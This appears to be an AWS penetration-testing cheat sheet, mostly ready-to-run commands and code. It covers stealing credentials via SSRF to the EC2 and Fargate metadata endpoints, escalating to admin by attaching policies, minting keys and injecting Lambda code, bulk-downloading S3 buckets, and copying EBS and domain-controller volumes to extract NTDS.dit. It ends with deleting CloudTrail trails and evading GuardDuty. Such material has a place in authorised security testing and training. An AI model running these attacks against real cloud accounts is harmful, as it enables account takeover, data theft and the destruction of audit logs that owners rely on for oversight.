---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Step 1: Initial Enumeration
|
||||
|
||||
Identify the compromised identity and permissions:
|
||||
|
||||
```bash
|
||||
# Check current identity
|
||||
aws sts get-caller-identity
|
||||
|
||||
# Configure profile
|
||||
aws configure --profile compromised
|
||||
|
||||
# List access keys
|
||||
aws iam list-access-keys
|
||||
|
||||
# Enumerate permissions
|
||||
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
|
||||
```
|
||||
|
||||
### Step 2: IAM Enumeration
|
||||
|
||||
```bash
|
||||
# List all users
|
||||
aws iam list-users
|
||||
|
||||
# List groups for user
|
||||
aws iam list-groups-for-user --user-name TARGET_USER
|
||||
|
||||
# List attached policies
|
||||
aws iam list-attached-user-policies --user-name TARGET_USER
|
||||
|
||||
# List inline policies
|
||||
aws iam list-user-policies --user-name TARGET_USER
|
||||
|
||||
# Get policy details
|
||||
aws iam get-policy --policy-arn POLICY_ARN
|
||||
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
|
||||
|
||||
# List roles
|
||||
aws iam list-roles
|
||||
aws iam list-attached-role-policies --role-name ROLE_NAME
|
||||
```
|
||||
|
||||
### Step 3: Metadata SSRF (EC2)
|
||||
|
||||
Exploit SSRF to access metadata endpoint (IMDSv1):
|
||||
|
||||
```bash
|
||||
# Access metadata endpoint
|
||||
http://169.254.169.254/latest/meta-data/
|
||||
|
||||
# Get IAM role name
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
|
||||
# Extract temporary credentials
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
|
||||
|
||||
# Response contains:
|
||||
{
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "...",
|
||||
"Token": "...",
|
||||
"Expiration": "2019-08-01T05:20:30Z"
|
||||
}
|
||||
```
|
||||
|
||||
**For IMDSv2 (token required):**
|
||||
|
||||
```bash
|
||||
# Get token first
|
||||
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
|
||||
"http://169.254.169.254/latest/api/token")
|
||||
|
||||
# Use token for requests
|
||||
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
||||
```
|
||||
|
||||
**Fargate Container Credentials:**
|
||||
|
||||
```bash
|
||||
# Read environment for credential path
|
||||
/proc/self/environ
|
||||
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
|
||||
|
||||
# Access credentials
|
||||
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
|
||||
```
|
||||
|

|
||||
|
||||
## Privilege Escalation Techniques
|
||||
|
||||
### Shadow Admin Permissions
|
||||
|
||||
These permissions are equivalent to administrator:
|
||||
|
||||
| Permission | Exploitation |
|
||||
|------------|--------------|
|
||||
| `iam:CreateAccessKey` | Create keys for admin user |
|
||||
| `iam:CreateLoginProfile` | Set password for any user |
|
||||
| `iam:AttachUserPolicy` | Attach admin policy to self |
|
||||
| `iam:PutUserPolicy` | Add inline admin policy |
|
||||
| `iam:AddUserToGroup` | Add self to admin group |
|
||||
| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |
|
||||
| `lambda:UpdateFunctionCode` | Inject code into Lambda |
|
||||
|
||||
### Create Access Key for Another User
|
||||
|
||||
```bash
|
||||
aws iam create-access-key --user-name target_user
|
||||
```
|
||||
|
||||
### Attach Admin Policy
|
||||
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name my_username \
|
||||
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
||||
```
|
||||
|
||||
### Add Inline Admin Policy
|
||||
|
||||
```bash
|
||||
aws iam put-user-policy --user-name my_username \
|
||||
--policy-name admin_policy \
|
||||
--policy-document file://admin-policy.json
|
||||
```
|
||||
|
||||
### Lambda Privilege Escalation
|
||||
|
||||
```python
|
||||
# code.py - Inject into Lambda function
|
||||
import boto3
|
||||
|
||||
def lambda_handler(event, context):
|
||||
client = boto3.client('iam')
|
||||
response = client.attach_user_policy(
|
||||
UserName='my_username',
|
||||
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
||||
)
|
||||
return response
|
||||
```
|
||||
|
||||
```bash
|
||||
# Update Lambda code
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
--zip-file fileb://malicious.zip
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## S3 Bucket Exploitation
|
||||
|
||||
### Bucket Discovery
|
||||
|
||||
```bash
|
||||
# Using bucket_finder
|
||||
./bucket_finder.rb wordlist.txt
|
||||
./bucket_finder.rb --download --region us-east-1 wordlist.txt
|
||||
|
||||
# Common bucket URL patterns
|
||||
https://{bucket-name}.s3.amazonaws.com
|
||||
https://s3.amazonaws.com/{bucket-name}
|
||||
```
|
||||
|
||||
### Bucket Enumeration
|
||||
|
||||
```bash
|
||||
# List buckets (with creds)
|
||||
aws s3 ls
|
||||
|
||||
# List bucket contents
|
||||
aws s3 ls s3://bucket-name --recursive
|
||||
|
||||
# Download all files
|
||||
aws s3 sync s3://bucket-name ./local-folder
|
||||
```
|
||||
|
||||
### Public Bucket Search
|
||||
|
||||
```
|
||||
https://buckets.grayhatwarfare.com/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Lambda Exploitation
|
||||
|
||||
```bash
|
||||
# List Lambda functions
|
||||
aws lambda list-functions
|
||||
|
||||
# Get function code
|
||||
aws lambda get-function --function-name FUNCTION_NAME
|
||||
# Download URL provided in response
|
||||
|
||||
# Invoke function
|
||||
aws lambda invoke --function-name FUNCTION_NAME output.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## SSM Command Execution
|
||||
|
||||
Systems Manager allows command execution on EC2 instances:
|
||||
|
||||
```bash
|
||||
# List managed instances
|
||||
aws ssm describe-instance-information
|
||||
|
||||
# Execute command
|
||||
aws ssm send-command --instance-ids "i-0123456789" \
|
||||
--document-name "AWS-RunShellScript" \
|
||||
--parameters commands="whoami"
|
||||
|
||||
# Get command output
|
||||
aws ssm list-command-invocations --command-id "CMD-ID" \
|
||||
--details --query "CommandInvocations[].CommandPlugins[].Output"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## EC2 Exploitation
|
||||
|
||||
### Mount EBS Volume
|
||||
|
||||
```bash
|
||||
# Create snapshot of target volume
|
||||
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
|
||||
|
||||
# Create volume from snapshot
|
||||
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
|
||||
|
||||
# Attach to attacker instance
|
||||
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
|
||||
|
||||
# Mount and access
|
||||
sudo mkdir /mnt/stolen
|
||||
sudo mount /dev/xvdf1 /mnt/stolen
|
||||
```
|
||||
|
||||
### Shadow Copy Attack (Windows DC)
|
||||
|
||||
```bash
|
||||
# CloudCopy technique
|
||||
# 1. Create snapshot of DC volume
|
||||
# 2. Share snapshot with attacker account
|
||||
# 3. Mount in attacker instance
|
||||
# 4. Extract NTDS.dit and SYSTEM
|
||||
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Console Access from API Keys
|
||||
|
||||
Convert CLI credentials to console access:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/NetSPI/aws_consoler
|
||||
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
|
||||
|
||||
# Generates signin URL for console access
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Covering Tracks
|
||||
|
||||
### Disable CloudTrail
|
||||
|
||||
```bash
|
||||
# Delete trail
|
||||
aws cloudtrail delete-trail --name trail_name
|
||||
|
||||
# Disable global events
|
||||
aws cloudtrail update-trail --name trail_name \
|
||||
--no-include-global-service-events
|
||||
|
||||
# Disable specific region
|
||||
aws cloudtrail update-trail --name trail_name \
|
||||
--no-include-global-service-events --no-is-multi-region-trail
|
||||
```
|
||||
|
||||
**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.
|
||||

|
||||
## Examples
|
||||
|
||||
### Example 1: SSRF to Admin
|
||||
|
||||
```bash
|
||||
# 1. Find SSRF vulnerability in web app
|
||||
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
|
||||
# 2. Get role name from response
|
||||
# 3. Extract credentials
|
||||
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
|
||||
|
||||
# 4. Configure AWS CLI with stolen creds
|
||||
export AWS_ACCESS_KEY_ID=ASIA...
|
||||
export AWS_SECRET_ACCESS_KEY=...
|
||||
export AWS_SESSION_TOKEN=...
|
||||
|
||||
# 5. Verify access
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| Access Denied on all commands | Enumerate permissions with enumerate-iam |
|
||||
| Metadata endpoint blocked | Check for IMDSv2, try container metadata |
|
||||
| GuardDuty alerts | Use Pacu with custom user-agent |
|
||||
| Expired credentials | Re-fetch from metadata (temp creds rotate) |
|
||||
| CloudTrail logging actions | Consider disable or log obfuscation |
